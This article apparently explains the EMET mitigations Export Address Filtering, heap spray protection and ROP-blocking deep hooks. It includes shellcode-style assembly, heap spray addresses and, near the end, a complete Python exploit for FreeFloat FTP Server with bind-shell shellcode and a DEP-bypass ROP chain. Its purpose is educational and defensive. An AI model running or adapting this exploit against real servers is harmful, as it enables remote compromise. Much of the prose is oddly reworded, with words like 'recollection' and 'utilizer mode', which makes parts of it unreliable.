Search the Community

In Part 1, we explained GS cookies and Safe SEH. If you haven’t read that part, it is highly recommended to read it first. The Enhanced Mitigation Experience Toolkit, or EMET, is rudimentally a shield or a shell that runs over Windows applications and protects them, regardless of how those applications have authentically been coded by their developer, to capitalize on security guards that are built into the Windows operating system. EMET is a wrapper that enables and enforces a set of protections that, when used together, genuinely enhance the security posture of a machine and greatly reduce the chance that exploits can run against your machine and cause any harm—most will simply fail to execute thoroughly. It is particularly auxiliary in guard against exploits that have not yet been patched by a software developer, making it a key implement that should be in your security arsenal. In this article we are going to explain EAF (Export Address Filtering), which prevents shellcode execution. This scenario comes into play if the attacker somehow has managed to bypass the previously mentioned exploit prevention mechanism. This technique will not let the attacker execute some important parts of the shellcode. It is an application-wide protection. It will inject EMET.dll inside the specified process for protection against shellcode execution. Shellcodes locate IAT using PEB.ldr. EAF prevents the access to this location. EMET.dll puts a hardware break point on read at PEB.Ldr and catches the exception using a Vectored Exception. This exception is the first handler, which means it will be called before any other Vectored Exception Handler. The handler will check if the faulty address is in the range other than loaded modules. In that way, the IAT parsing is prevented by EMET. The Vectored Exception Handler looks like this: In order to test it, we can use the following c file that mentions PEB.LDR in the code. __asm { xor edx, edx // zero edx mov edx, fs:[edx+0x30] // get a pointer to the PEB mov edx, [edx+0x0C] // get PEB->Ldr mov edx, [edx+0x14] // get the first module from the InMemoryOrder module list } This code chunk to get InMemoryOrder Module will fail under EAF. Heap spray protection The heap spraying technique has been used in browsers for so long now. Heap spraying is basically used to bypass ASLR (address space layout randomization). In this technique, a large chunk of data is allocated to a range where it is easy to predict the address. If we allocate a large buff, fill it with 0x04 only, and make it reach far beyond address 0x04040404, and after that, if we land at location 0x04040404, the following side effects would take place: MOV EAX,DWORD PTR DS:[ESI] << EAX == 0x04040404 CALL DWORD PTR DS:[EAX+10] << JMP 0x04040404 because [eax + 10] =0x04040404 Other NOP like behaving addresses are: 0x05050505 = ADD EAX,5050505 <<< acts as a NOP 0x0c0c0c0c = OR AL, 0C << also acts as a NOP 0x0d0d0d0d = OR EAX,0d0d0d0d EMET protects against heap spray by allocating memory at these regions and filling them with random data. Deep hooks This technique applies for ROP prevention. It prevents ROP attacks on a vulnerable application. The technique is predicated on the key observation that after exploitation it must use ROP code to leverage the attack, and in this process interact with system calls. Examples of such interaction include starting other processes, opening files, etc. Using this information, we can define a concept of critical function: A critical function is a function by executing which the attacker can modify system behavior, either by making modifications to the recollection or the current process. Some examples of critical functions include: 1 CreateProcess 2 VirtualProtect, VirtualAlloc, LoadLibrary – 3 OpenFile In order to exploit successfully, the ROP Code will require to call at least one critical function from the ROP code. Deep hooks utilize this observation to perform the checks only when one of the critical functions gets called: when a critical function gets called, the opportune checks will be performed to determine if the critical function was called from the ROP code or as a component of mundane program execution. It is quite important to note that ROPGuard does not contain a hardcoded list of critical functions. Instead, critical functions are defined in ROPGuard’s configuration file. In this way, critical functions can be integrated at any time to amend security and even process-categorical critical functions can be integrated. Similarly, critical functions can be abstracted in order to amend the performance of the system. It is additionally consequential to note that the current prototype bulwarks only the functions in the utilizer mode. To obviate the assailant from bypassing these functions, the same protections could be integrated to the kernel counterparts of the defined critical functions. In order to demonstrate that, we will use a ROP exploit on sample application protected using deep hooks. For a vulnerable application, we will use FreeFloat FTP Server Buffer Overflow Exploit (DEP Bypass) by blake. http://www.exploit-db.com/exploits/17886/ #!/usr/bin/python import socket, sys from struct import pack print "\n===============================" print "Freefloat FTP Server DEP Bypass" print " Written by Blake " print "===============================\n" target = "localhost" port = int("21") # 728 bytes for shellcode #Bind Shell shellcode port 4444 shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4" "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c" "\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07" "\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07" "\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e" "\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f" "\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38" "\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65" "\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a" "\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74" "\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5" "\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80" "\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4" "\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80" "\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82" "\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a" "\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70" "\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6" "\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4" "\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6" "\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4" "\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53" "\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84" "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51" "\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a") buffer = "\x41" * 230 eip = pack('<L',0x77F6100A) # RETN - shlwapi rop = "\x42" * 8 # compensate rop += pack('<L',0x5D09382C) # POP EBX, RETN - msvcirt rop += "\xff\xff\xff\xff" rop += pack('<L',0x77c127e1) # INC EBX, RETN rop += pack('<L',0x5d093466) # POP EBP, RETN rop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy rop += pack('<L',0x5d095470) # POP EDI, RETN rop += pack('<L',0x5d095471) # RETN rop += pack('<L',0x5d0913b4) # POP ESI, RETN rop += pack('<L',0x5d095471) # RETN rop += pack('<L',0x77e7d102) # PUSHAD # RETN - RPCRT4 nops = "\x90" * 10 junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Connecting to %s on port %d" % (target,port) try: s.connect((target,port)) s.recv(1024) print "[+] Sending payload" s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "\r\n") s.close() print "[+] Exploit successfully sent" except: print "[X] Unable to connect to %s" % target raw_input("[+] Press any key to exit\n") After applying deep hooks, the script fails to exploit. Source